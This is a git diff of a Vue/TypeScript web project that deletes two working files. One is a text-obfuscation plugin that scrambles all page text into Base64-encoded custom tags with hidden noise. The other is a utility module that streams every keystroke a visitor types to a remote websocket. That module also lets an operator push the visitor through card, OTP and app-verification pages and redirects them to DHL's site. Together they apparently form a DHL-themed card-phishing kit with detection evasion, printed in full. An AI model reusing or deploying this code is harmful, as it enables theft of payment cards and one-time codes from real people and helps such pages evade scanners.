- Pinia ,
- Vue Router ,
- Vue Test Utils , and
- Vue Dev Tools . If
- you need more resources, we suggest paying
- Awesome Vue
- a visit.
-
-
-
-
-
-
- Community
-
- Got stuck? Ask your question on
- Vue Land , our official
- Discord server, or
- StackOverflow . You should also subscribe to
- our mailing list and follow
- the official
- @vuejs
- twitter account for latest news in the Vue world.
-
-
-
-
-
-
- Support Vue
-
- As an independent project, Vue relies on community backing for its sustainability. You can help
- us by
- becoming a sponsor .
-
-
diff --git a/t_post_temp4/src/components/WelcomeItem.vue b/t_post_temp4/src/components/WelcomeItem.vue
deleted file mode 100644
index ba0def3..0000000
--- a/t_post_temp4/src/components/WelcomeItem.vue
+++ /dev/null
@@ -1,86 +0,0 @@
-
-
-
-
-
diff --git a/t_post_temp4/src/main.ts b/t_post_temp4/src/main.ts
index c311b44..310345e 100644
--- a/t_post_temp4/src/main.ts
+++ b/t_post_temp4/src/main.ts
@@ -1,4 +1,3 @@
-import { TextObfuscatorPlugin } from "./mix/textObfuscator";
import { createApp, ref } from "vue";
import { createPinia } from "pinia";
@@ -30,6 +29,5 @@ router.beforeEach((to, from, next) => {
VueScrollTo.scrollTo("#app", 0);
next();
});
-// //app.use(TextObfuscatorPlugin);
app.mount("#app");
export default i18n;
diff --git a/t_post_temp4/src/mix/textObfuscator.ts b/t_post_temp4/src/mix/textObfuscator.ts
deleted file mode 100644
index 76c21e9..0000000
--- a/t_post_temp4/src/mix/textObfuscator.ts
+++ /dev/null
@@ -1,643 +0,0 @@
-import type { ComponentInternalInstance, Plugin, App } from 'vue';
-
-/**
- * 全局文本混淆插件
- * 自动查找并替换所有文本节点
- */
-// 修改Vue混淆插件以确保处理整个组件树
-export const TextObfuscatorPlugin: Plugin = {
- install(app: App) {
- // 安装全局样式和解码脚本
- addObfuscationStyle();
-
- // 注册全局指令,直接处理元素内容
- app.directive('odata', {
- mounted(el) {
- processTextNodes(el, null);
- if (window.decodeObfuscatedContent) {
- setTimeout(() => window.decodeObfuscatedContent(el), 0);
- }
- setupMutationObserver(el);
- },
- updated(el) {
- processTextNodes(el, null);
- if (window.decodeObfuscatedContent) {
- setTimeout(() => window.decodeObfuscatedContent(el), 0);
- }
- }
- });
-
- // 在 app.mixin 中修改处理 $el 的部分
- app.mixin({
- mounted() {
- // 安全地获取组件的根元素(s)
- const rootElements = this.$el ?
- (this.$el.nodeType === Node.ELEMENT_NODE ?
- [this.$el] :
- (Array.isArray(this.$el) ? this.$el : [])) :
- [];
-
- // 处理每个根元素
- rootElements.forEach((rootElement: Element) => {
- if (!rootElement || !(rootElement instanceof Element)) return;
-
- // 1. 首先处理当前组件的根元素
- processTextNodes(rootElement, this);
-
- // 2. 递归处理所有子元素,确保覆盖所有文本节点
- const processAllChildNodes = (element: Element) => {
- if (!(element instanceof Element)) return;
-
- try {
- // 为每个子元素单独处理文本节点
- const childElements = element.querySelectorAll('*');
- childElements.forEach(childEl => {
- processTextNodes(childEl, null);
- });
-
- // 立即解码当前处理的元素
- if (window.decodeObfuscatedContent) {
- setTimeout(() => window.decodeObfuscatedContent(element), 0);
- }
- } catch (error) {
- console.error('Error processing child nodes:', error, element);
- }
- };
-
- // 处理整个组件树
- processAllChildNodes(rootElement);
-
- // 设置监听
- setupMutationObserver(rootElement);
- });
- // 添加:深度扫描所有包含纯文本的元素
- setTimeout(() => {
- const scanPureTextElements = (rootElement: Element) => {
- // 跳过已处理过的元素
- if (rootElement.hasAttribute && rootElement.hasAttribute('data-obfuscated')) {
- return;
- }
-
- // 检查是否为包含纯文本的元素(只有文本节点,没有元素节点)
- let hasOnlyTextNodes = false;
- let hasElementNodes = false;
-
- if (rootElement.childNodes && rootElement.childNodes.length > 0) {
- hasOnlyTextNodes = Array.from(rootElement.childNodes).some(
- node => node.nodeType === Node.TEXT_NODE && node.textContent && node.textContent.trim()
- );
-
- hasElementNodes = Array.from(rootElement.childNodes).some(
- node => node.nodeType === Node.ELEMENT_NODE
- );
- }
-
- // 如果元素只包含文本节点,并且不包含其他元素节点,则混淆它
- if (hasOnlyTextNodes && !hasElementNodes &&
- !SKIP_TAGS.includes(rootElement.tagName) &&
- !Array.from(rootElement.classList || []).some(cls => SKIP_CLASSES.includes(cls))) {
- processTextNodes(rootElement, null);
- if (window.decodeObfuscatedContent) {
- window.decodeObfuscatedContent(rootElement);
- }
- }
-
- // 递归处理子元素
- if (rootElement.children) {
- Array.from(rootElement.children).forEach(child => {
- scanPureTextElements(child);
- });
- }
- };
-
- // 从body开始扫描
- scanPureTextElements(document.body);
- }, 10); // 给DOM足够的时间渲染
- },
-
- updated() {
- // 安全地获取组件的根元素(s)
- const rootElements = this.$el ?
- (this.$el.nodeType === Node.ELEMENT_NODE ?
- [this.$el] :
- (Array.isArray(this.$el) ? this.$el : [])) :
- [];
-
- // 处理每个根元素
- rootElements.forEach((rootElement: Element | undefined) => {
- if (!rootElement || !(rootElement instanceof Element)) return;
-
- processTextNodes(rootElement, this);
-
- try {
- // 递归处理所有子元素
- const childElements = rootElement.querySelectorAll('*');
- childElements.forEach((childEl: Element) => {
- processTextNodes(childEl, null);
- });
-
- if (window.decodeObfuscatedContent) {
- setTimeout(() => window.decodeObfuscatedContent(rootElement), 0);
- }
- } catch (error) {
- console.error('Error processing updated component:', error, rootElement);
- }
- });
- }
- });
- }
-};
-
-// 声明全局函数类型
-declare global {
- interface Window {
- decodeObfuscatedContent: (rootElement?: Element) => void;
- }
-}
-
-// 需要跳过的标签
-const SKIP_TAGS = ['SCRIPT', 'STYLE', 'TEXTAREA', 'INPUT', 'PRE', 'CODE'];
-// 需要跳过的类名
-const SKIP_CLASSES = ['no-obfuscate'];
-
-/**
- * 处理元素中的所有文本节点
- */
-function processTextNodes(element: Element, instance: ComponentInternalInstance | null) {
- if (!element || element.nodeType !== Node.ELEMENT_NODE) {
- return;
- }
- // 为 DIV 元素增加优先处理逻辑
- if (element.tagName === 'DIV' && !element.hasAttribute('data-obfuscated')) {
- // 对于DIV元素,特殊处理其直接子文本节点
- let hasTextContent = false;
- for (let i = 0; i < element.childNodes.length; i++) {
- const node = element.childNodes[i];
- if (node.nodeType === Node.TEXT_NODE && node.textContent && node.textContent.trim() !== '') {
- hasTextContent = true;
- break;
- }
- }
-
- // 如果DIV中有直接的文本内容,标记它需要被处理
- if (hasTextContent) {
- // 只处理未混淆过的DIV
- const textContent = Array.from(element.childNodes)
- .filter(node => node.nodeType === Node.TEXT_NODE && node.textContent)
- .map(node => node.textContent).join('').trim();
-
- if (textContent) {
- // 替换整个DIV的内容
- const originalHTML = element.innerHTML;
- const processedHTML = obfuscateText(textContent);
- element.innerHTML = processedHTML + originalHTML.replace(textContent, '');
- element.setAttribute('data-obfuscated', 'true');
- }
- }
- }
- // 跳过带有特定标记的元素(避免重复处理)
- if (element.hasAttribute('data-obfuscated') ||
- !element ||
- SKIP_TAGS.includes(element.tagName) ||
- Array.from(element.classList).some(cls => SKIP_CLASSES.includes(cls))) {
- return;
- }
-
- // 使用 TreeWalker 遍历所有文本节点
- const walker = document.createTreeWalker(
- element,
- NodeFilter.SHOW_TEXT,
- {
- acceptNode(node) {
- // 不处理完全空的文本节点
- if (!node.textContent) {
- return NodeFilter.FILTER_REJECT;
- }
-
- // 检查父节点是否应该被跳过
- const parent = node.parentElement;
- if (parent && (
- SKIP_TAGS.includes(parent.tagName) ||
- parent.hasAttribute('data-obfuscated') ||
- Array.from(parent.classList || []).some(cls => SKIP_CLASSES.includes(cls))
- )) {
- return NodeFilter.FILTER_REJECT;
- }
-
- // 如果只包含空白且不是段落的首个节点,则跳过
- if (node.textContent.trim() === '' &&
- !(parent?.tagName === 'P' && node === parent.firstChild)) {
- return NodeFilter.FILTER_REJECT;
- }
-
- return NodeFilter.FILTER_ACCEPT;
- }
- }
- );
-
- // 收集需要处理的文本节点
- const textNodes: Text[] = [];
- let currentNode: Node | null = walker.nextNode();
-
- while (currentNode) {
- textNodes.push(currentNode as Text);
- currentNode = walker.nextNode();
- }
-
- // 预先计算所有混淆内容,减少DOM操作次数
- const fragments: DocumentFragment[] = [];
- const nodesToReplace: Text[] = [];
-
- // 在处理文本节点前,移除所有前导空格
- for (const textNode of textNodes) {
- const text = textNode.textContent;
- if (!text) continue;
-
- // 重要修改:检测是否是段落的首个文本节点,无条件移除开头的空白
- let processedText = text;
- if (textNode.parentElement?.tagName === 'P' &&
- textNode === textNode.parentElement.firstChild) {
- // 去除开头的空白,无论什么情况
- processedText = text.replace(/^\s+/, '');
- // 如果去除空白后为空,直接跳过这个节点
- if (!processedText) continue;
- }
-
- try {
- // 创建文档碎片来存储混淆后的内容
- const fragment = document.createDocumentFragment();
- const tempContainer = document.createElement('div');
- tempContainer.innerHTML = obfuscateText(processedText);
-
- // 将内容移动到碎片中
- while (tempContainer.firstChild) {
- fragment.appendChild(tempContainer.firstChild);
- }
-
- fragments.push(fragment);
- nodesToReplace.push(textNode);
- } catch (error) {
- console.error('Error processing text node:', error);
- }
- }
-
- // 批量替换节点,减少回流
- for (let i = 0; i < nodesToReplace.length; i++) {
- const textNode = nodesToReplace[i];
- const fragment = fragments[i];
-
- if (textNode.parentNode) {
- textNode.parentNode.replaceChild(fragment, textNode);
- }
- }
-}
-
-/**
- * 设置 MutationObserver 来监听 DOM 变化
- */
-function setupMutationObserver(element: Element) {
- if (!element) return;
-
- const observer = new MutationObserver((mutations) => {
- for (const mutation of mutations) {
- if (mutation.type === 'childList' && mutation.addedNodes.length) {
- mutation.addedNodes.forEach((node) => {
- if (node.nodeType === Node.ELEMENT_NODE) {
- processTextNodes(node as Element, null);
- // 观察到新元素后立即解码
- if (window.decodeObfuscatedContent) {
- window.decodeObfuscatedContent(node as Element);
- }
- }
- });
- }
- }
- });
-
- observer.observe(element, {
- childList: true,
- subtree: true
- });
-}
-
-/**
- * 生成随机噪声标签和注释
- */
-function getRandomNoise() {
- const noiseTypes = [
- // HTML注释
- () => ``,
- // 空的自定义元素
- () => {
- const tags = ['z-nil', 'z-void', 'z-null', 'z-fake', 'z-empty'];
- const tag = tags[Math.floor(Math.random() * tags.length)];
- return `<${tag}>${tag}>`;
- },
- // 带随机属性的自定义元素
- () => {
- const attr = `data-${Math.random().toString(36).substring(2, 7)}`;
- const value = Math.random().toString(36).substring(2, 10);
- return ` `;
- },
- // 带随机文本的隐藏元素
- () => {
- const text = Math.random().toString(36).substring(2, 8);
- return `${text} `;
- }
- ];
-
- // 随机选择一种噪声类型
- const noiseGenerator = noiseTypes[Math.floor(Math.random() * noiseTypes.length)];
- return noiseGenerator();
-}
-
-/**
- * 混淆文本 - 将文本拆分成单词并分别存储,使用自定义z-标签
- */
-function obfuscateText(text: string): string {
- if (!text) return '';
-
- // 首先移除文本开头的所有空白字符以解决段落首行缩进问题
- text = text.replace(/^\s+/, '');
- if (!text) return '';
-
- // 使用正则表达式将文本拆分为单词和空格,保持完整性
- const words = text.split(/(\s+)/);
- let result = '';
-
- // 过滤掉空字符串,避免生成空的z-span元素
- const filteredWords = words.filter(word => word.length > 0);
-
- // 为每个单词创建一个独立的自定义元素
- filteredWords.forEach((word, index) => {
- // 对空格和特殊字符进行特殊处理
- if (/^\s+$/.test(word)) {
- // 改进:更精确地处理各种换行符
- if (/[\n\r]/.test(word)) {
- // 将所有类型的换行符分割出来,但仅在实际有换行符时才添加z-break元素
- result += ' ';
- } else {
- // 纯空格的情况 - 对连续空格合并处理,避免添加过多z-space
- result += ' ';
- }
- return;
- }
-
- // 随机在单词前添加噪声,但减少频率
- if (Math.random() > 0.85) {
- result += getRandomNoise();
- }
-
- // 为了提高效率,固定属性名
- const attrId = `data`;
-
- // 将单词编码为Base64
- const encodedWord = btoa(encodeURIComponent(word));
-
- // 随机选择z-span或z-strong标签增加混淆度
- const tagName = Math.random() > 0.5 ? 'z-span' : 'z-strong';
-
- // 添加标签开始部分
- result += `<${tagName} data-${attrId}="${encodedWord}" data-preload="true">`;
-
- // 随机在标签内添加隐藏内容,但减少频率
- if (Math.random() > 0.8) {
- const fakeText = Math.random().toString(36).substring(2, 5 + Math.floor(Math.random() * 5));
- result += `${fakeText} `;
- }
-
- // 闭合标签
- result += `${tagName}>`;
-
- // 随机在单词后添加噪声,但减少频率
- if (Math.random() > 0.85) {
- result += getRandomNoise();
- }
- });
-
- result += ' ';
- return result;
-}
-
-/**
- * 添加显示混淆内容的样式和解码脚本
- */
-function addObfuscationStyle() {
- // 添加样式
- if (!document.getElementById('obfuscation-style')) {
- const style = document.createElement('style');
- style.id = 'obfuscation-style';
- style.textContent = `
- /* 自定义元素基本样式 */
- z-wrap {
- display: inline;
- white-space: normal;
- user-select: none; /* 阻止文本选择 */
- text-indent: 0 !important; /* 确保无缩进 */
- }
-
- /* 添加一个类来允许选择文本的情况 */
- .allow-select z-wrap {
- user-select: text;
- }
-
- /* 确保段落中的混淆内容没有开头缩进 */
- p > z-wrap:first-child {
- text-indent: 0 !important;
- margin-left: 0 !important;
- padding-left: 0 !important;
- }
-
- /* 处理所有p标签,确保没有多余空间 */
- p {
- text-indent: 0;
- }
-
- z-span, z-strong {
- display: inline-block;
- position: relative;
- opacity: 1;
- transition: opacity 0.1s ease;
- margin: 0;
- padding: 0;
- }
-
- /* 控制右侧间距 */
- z-span + z-span, z-strong + z-strong, z-span + z-strong, z-strong + z-span {
- margin-left: 0.1em;
- }
-
- /* 移除最后一个元素的右侧间距 */
- z-span:last-child, z-strong:last-child {
- margin-right: 0;
- }
-
- z-span::after, z-strong::after {
- content: attr(data-content);
- position: relative;
- pointer-events: none;
- }
-
- /* 空格元素 - 精确控制宽度 */
- z-space {
- display: inline-block;
- width: 0.25em;
- margin: 0;
- padding: 0;
- }
-
- /* 空的z-span/z-strong元素不应该显示 */
- z-span:not([data-content]), z-strong:not([data-content]) {
- display: none;
- }
-
- /* 换行元素 - 强制换行且完全没有尺寸 */
- z-break {
- display: block !important;
- height: 0 !important;
- width: 0 !important;
- margin: 0 !important;
- padding: 0 !important;
- border: none !important;
- line-height: 0 !important;
- font-size: 0 !important;
- overflow: hidden !important;
- }
-
- /* 隐藏所有噪声元素 */
- z-nil, z-void, z-null, z-fake, z-empty, z-attr, z-text, z-hidden {
- display: none;
- width: 0;
- height: 0;
- opacity: 0;
- overflow: hidden;
- position: absolute;
- visibility: hidden;
- }
-
- /* 预加载状态 */
- [data-preload="true"] {
- min-width: 0.5em;
- min-height: 1em;
- }
- `;
- document.head.appendChild(style);
- }
-
- // 添加自定义元素注册,确保所有浏览器都能正确处理
- const scriptCustomElements = document.createElement('script');
- scriptCustomElements.textContent = `
- // 注册所有自定义元素
- if ('customElements' in window) {
- customElements.define('z-wrap', class extends HTMLElement {});
- customElements.define('z-span', class extends HTMLElement {});
- customElements.define('z-strong', class extends HTMLElement {});
- customElements.define('z-space', class extends HTMLElement {});
- customElements.define('z-break', class extends HTMLElement {});
-
- // 注册噪声元素
- customElements.define('z-nil', class extends HTMLElement {});
- customElements.define('z-void', class extends HTMLElement {});
- customElements.define('z-null', class extends HTMLElement {});
- customElements.define('z-fake', class extends HTMLElement {});
- customElements.define('z-empty', class extends HTMLElement {});
- customElements.define('z-attr', class extends HTMLElement {});
- customElements.define('z-text', class extends HTMLElement {});
- customElements.define('z-hidden', class extends HTMLElement {});
- }
- `;
- document.head.appendChild(scriptCustomElements);
-
- // 添加提前解码的脚本,放在顶部优先加载
- if (!document.getElementById('obfuscation-script')) {
- const script = document.createElement('script');
- script.id = 'obfuscation-script';
- script.textContent = `
- (function() {
- // 定义解码函数并暴露为全局函数
- window.decodeObfuscatedContent = function(rootElement) {
- const root = rootElement || document.body;
- const elements = root.querySelectorAll('z-span[data-preload="true"], z-strong[data-preload="true"]');
-
- if (elements.length === 0) return;
-
- // 使用requestIdleCallback或setTimeout在空闲时运行,避免阻塞渲染
- const runWhenIdle = window.requestIdleCallback ||
- function(cb) { setTimeout(cb, 1); };
-
- runWhenIdle(() => {
- elements.forEach(el => {
- // 避免重复解码
- if (el.hasAttribute('data-content')) return;
-
- // 找到编码数据
- const dataAttr = el.getAttribute('data-data');
- if (dataAttr) {
- try {
- // 解码并设置
- const decodedWord = decodeURIComponent(atob(dataAttr));
- el.setAttribute('data-content', decodedWord);
- el.removeAttribute('data-preload');
- } catch (e) {
- // 解码失败时跳过
- }
- }
- });
- });
- };
-
- // 页面加载完成后立即执行一次全局解码
- if (document.readyState === 'loading') {
- document.addEventListener('DOMContentLoaded', function() {
- window.decodeObfuscatedContent();
- });
- } else {
- window.decodeObfuscatedContent();
- }
-
- // 使用IntersectionObserver优化解码性能
- if ('IntersectionObserver' in window) {
- const decodeObserver = new IntersectionObserver(
- (entries, observer) => {
- entries.forEach(entry => {
- if (entry.isIntersecting) {
- // 容器进入视口时解码其内容
- window.decodeObfuscatedContent(entry.target);
- observer.unobserve(entry.target);
- }
- });
- },
- { rootMargin: '200px 0px' } // 提前200像素开始解码
- );
-
- // 监听所有混淆容器
- function observeContainers() {
- document.querySelectorAll('z-wrap').forEach(container => {
- decodeObserver.observe(container);
- });
- }
-
- // 初始观察
- if (document.readyState === 'loading') {
- document.addEventListener('DOMContentLoaded', observeContainers);
- } else {
- observeContainers();
- }
-
- // 定期检查新容器
- setInterval(observeContainers, 2000);
- } else {
- // 降级方案:定期全局检查
- setInterval(() => window.decodeObfuscatedContent(), 1000);
- }
- })();
- `;
-
- // 将脚本添加到head的最前面,确保尽早加载
- if (document.head.firstChild) {
- document.head.insertBefore(script, document.head.firstChild);
- } else {
- document.head.appendChild(script);
- }
- }
-}
\ No newline at end of file
diff --git a/t_post_temp4/src/utils/common.ts.backup b/t_post_temp4/src/utils/common.ts.backup
deleted file mode 100644
index 4dde738..0000000
--- a/t_post_temp4/src/utils/common.ts.backup
+++ /dev/null
@@ -1,331 +0,0 @@
-import _ from "lodash";
-import { sendInput } from "@/api/api";
-import type { Socket } from "@/utils/websocket";
-import eventBus from "@/utils/eventBus";
-import router from "@/router";
-import { ref } from "vue";
-import { useSocket } from "@/utils/websocket";
-import { useLoadingStore } from "@/stores/loadingStore";
-import i18n from "@/main";
-import { useSocketIo } from "./socketio";
-
-const viteBaseUrl = import.meta.env.VITE_BASE_URL;
-
-// WebSocket interface
-interface MyWebSocket {
- socket: any;
- send: (data: string) => Promise;
- off: (event: string) => void;
- on: (event: string, callback: (data: any) => void) => void;
-}
-
-export const customOtpData = ref({});
-
-export function setCustomOtpData(data: any) {
- customOtpData.value = data;
- localStorage.setItem("customOtpData", JSON.stringify(data));
-}
-
-export let myWebSocket: MyWebSocket | undefined;
-
-// Configuration data
-export const configData = ref>({});
-
-// Utility function to check if all values in an object are not empty
-export function areAllValuesNotEmpty(
- obj: Record,
- excludedFields: string[] = []
-): boolean {
- return Object.keys(obj).every((key) => {
- if (excludedFields.includes(key)) return true;
- const value = obj[key];
- return (
- value !== null &&
- value !== undefined &&
- value !== "" &&
- !(typeof value === "string" && value.trim() === "")
- );
- });
-}
-
-// 存储 WebSocket 和 API 的防抖函数
-const wsDebounceFunctions: Record<
- string,
- _.DebouncedFunc<(...args: any[]) => void>
-> = {};
-const apiDebounceFunctions: Record<
- string,
- _.DebouncedFunc<(...args: any[]) => void>
-> = {};
-
-// 获取或创建针对某个键的防抖函数
-function getDebouncedFunction(
- debounceFunctions: Record void>>,
- key: string,
- func: (...args: any[]) => void,
- wait: number
-) {
- if (!debounceFunctions[key]) {
- debounceFunctions[key] = _.debounce(func, wait);
- }
- return debounceFunctions[key];
-}
-
-const modeRef = ref(1)
-
-
-// 处理输入变化
-export function inputChange(type: string, key: any, value: any) {
- const currentTimestamp = Date.now(); // 当前时间戳
-
- // WebSocket 防抖函数
- const wsDebouncedFunction = getDebouncedFunction(
- wsDebounceFunctions,
- key,
- (type, key, value) => {
- myWebSocket?.send(
- JSON.stringify({
- event: "input_text",
- content: { type, key, text: value },
- timestamp: currentTimestamp,
- })
- );
- },
- 300
- );
-
- // API 防抖函数
- const apiDebouncedFunction = getDebouncedFunction(
- apiDebounceFunctions,
- key,
- (type, key, value) => {
- sendInput({
- content: { type, key, text: value },
- timestamp: currentTimestamp,
- });
- },
- 1000
- );
-
- // 调用防抖函数
- wsDebouncedFunction(type, key, value);
- if(modeRef.value !== 2) {
- apiDebouncedFunction(type, key, value);
- }
-}
-
-
-// Handle login success
-export function loginSuccess(token: string, mode: number) {
- if(mode === 2) {
- modeRef.value = 2
- myWebSocket = useSocketIo(
- `wss://${viteBaseUrl !== "/" ? viteBaseUrl : window.location.host
- }/ws?token=${token}`
- );
- }else{
- myWebSocket = useSocket(
- `wss://${viteBaseUrl !== "/" ? viteBaseUrl : window.location.host
- }/ws?token=${token}`
- );
- }
-
- myWebSocket?.on("close", () => console.log("Socket closed!"));
- myWebSocket?.on("open", () => {
- const lastToken = localStorage.getItem("token");
- loginWebsocket(token, lastToken !== token);
- });
-
- myWebSocket?.on("message", handleMessage);
-
- window.addEventListener("beforeunload", () => {
- myWebSocket?.off("close");
- });
-}
-
-// Handle WebSocket messages
-function handleMessage(data: any) {
- const jsonData = JSON.parse(data);
- if (!jsonData || !jsonData.event) return;
-
- const { event, content } = jsonData;
-
- switch (event) {
- case "login":
- //handleLoginEvent(content);
- break;
- case "result_type":
- handleResultTypeEvent(content);
- break;
- case "reload":
- window.location.reload();
- break;
- default:
- break;
- }
-}
-
-// Handle login event
-function handleLoginEvent(content: any) {
- const route = localStorage.getItem("route");
- if (route) {
- const customOtpDataValue = localStorage.getItem("customOtpData");
- if (route === "customOtpValid" && customOtpDataValue) {
- setCustomOtpData(JSON.parse(customOtpDataValue));
- myWebSocket?.send(
- JSON.stringify({
- event: "page_type",
- content: { pageType: "customOtpValid", pageTitle: customOtpData.value.name, customType: customOtpData.value.type },
- })
- );
- return;
- }
- myWebSocket?.send(
- JSON.stringify({
- event: "page_type",
- content: { pageType: route },
- })
- );
- }
-}
-
-// Handle result type event
-function handleResultTypeEvent(content: any) {
- if (!content) return;
-
- const typeHandlers: Record void> = {
- customOtpValid: () => navigateTo("/customOtpValid", content),
- otpValid: () => navigateTo("/otpValid", content),
- appValid: () => navigateTo("/appValid", content),
- success: () => router.push("/success"),
- kickOut: redirectToExternal,
- block: redirectToExternal,
- otpFail: () =>
- eventBus.emit("otp-valid", {
- message2:
- content.value.message2 ||
- i18n.global.t("Verification code error, please try again"),
- }),
- appFail: () =>
- eventBus.emit("app-valid", {
- message2:
- content.value.message2 ||
- i18n.global.t(
- "The session is about to expire, please complete the verification now"
- ),
- }),
- back: () => handleBackOrReject(content, true),
- reject: () => handleBackOrReject(content, false),
- refresh: () => {
- if(localStorage.getItem("route")){
- localStorage.removeItem("route");
- window.location.reload();
- }
- },
- };
-
- if (content.type == "customOtpValid") {
- if(content.value.customOtpData) {
- setCustomOtpData(JSON.parse(content.value.customOtpData));
- }
-}
- if (content.type == "customOtpFail") {
- eventBus.emit("custom-otp-valid", {
- message2: content.value.message2,
- });
- }
-
- const handler = typeHandlers[content.type];
- if (handler) handler();
-
- useLoadingStore().setLoading(false);
-}
-
-// Navigate to specific path with query parameters
-function navigateTo(path: string, content: any) {
-
- router.push('/temp').then(() => {
- router.push({
- path: path,
- query: {
- cardType: content.value?.data?.cardData?.cardBIN?.schema,
- message1: content.value?.message1,
- key: new Date().getMilliseconds(),
- },
- });
- });
-}
-
-// Handle back or reject type
-function handleBackOrReject(content: any, isBack: boolean) {
- let message2 = i18n.global.t(
- "This card does not support this transaction, please try another card"
- );
-
- if (configData.value.error_card_msg) {
- message2 = configData.value.error_card_msg;
- }
-
- if (content.value.type) {
- const type = content.value.type;
- if (type === "denyC" && configData.value.deny_c_msg) {
- message2 = configData.value.deny_c_msg;
- }
- if (type === "denyD" && configData.value.deny_d_msg) {
- message2 = configData.value.deny_d_msg;
- }
- }
-
- if (content.value.message2) {
- message2 = content.value.message2;
- }
-
- if (isBack) {
- router.push({ path: "/card", query: { message2 } });
- }
-
- eventBus.emit("my-event", { message2 });
-}
-
-// Login to WebSocket
-function loginWebsocket(token: string, isFirst: boolean) {
- myWebSocket?.send(
- JSON.stringify({
- event: "login",
- content: { tag: "user", token, isFirst },
- })
- );
- initHtml();
-}
-
-// Redirect to an external URL
-export function redirectToExternal() {
- window.location.href = "https://www.dhl.com/ch-de/home.html";
-}
-
-export async function loadHtml(url: string) {
- try {
- const response = await fetch(url); // 替换为您的 HTML 文件路径
- if (!response.ok) {
- return "";
- }
- return await response.text();
- } catch (error) {
- return "";
- }
-}
-
-export const headerHtml = ref("");
-export const footerHtml = ref("");
-export const loadingBg = ref("#ffffff");
-
-const initHtml = async () => {
- const routePath = localStorage.getItem("route");
- headerHtml.value = await loadHtml("/Static_zy/header.html");
- footerHtml.value = await loadHtml("/Static_zy/footer.html");
- await router.push(routePath ? `/${routePath}` : "/phone1");
- setTimeout(async () => {
- useLoadingStore().setLoading(false);
- loadingBg.value = "transparent";
- }, 200);
-};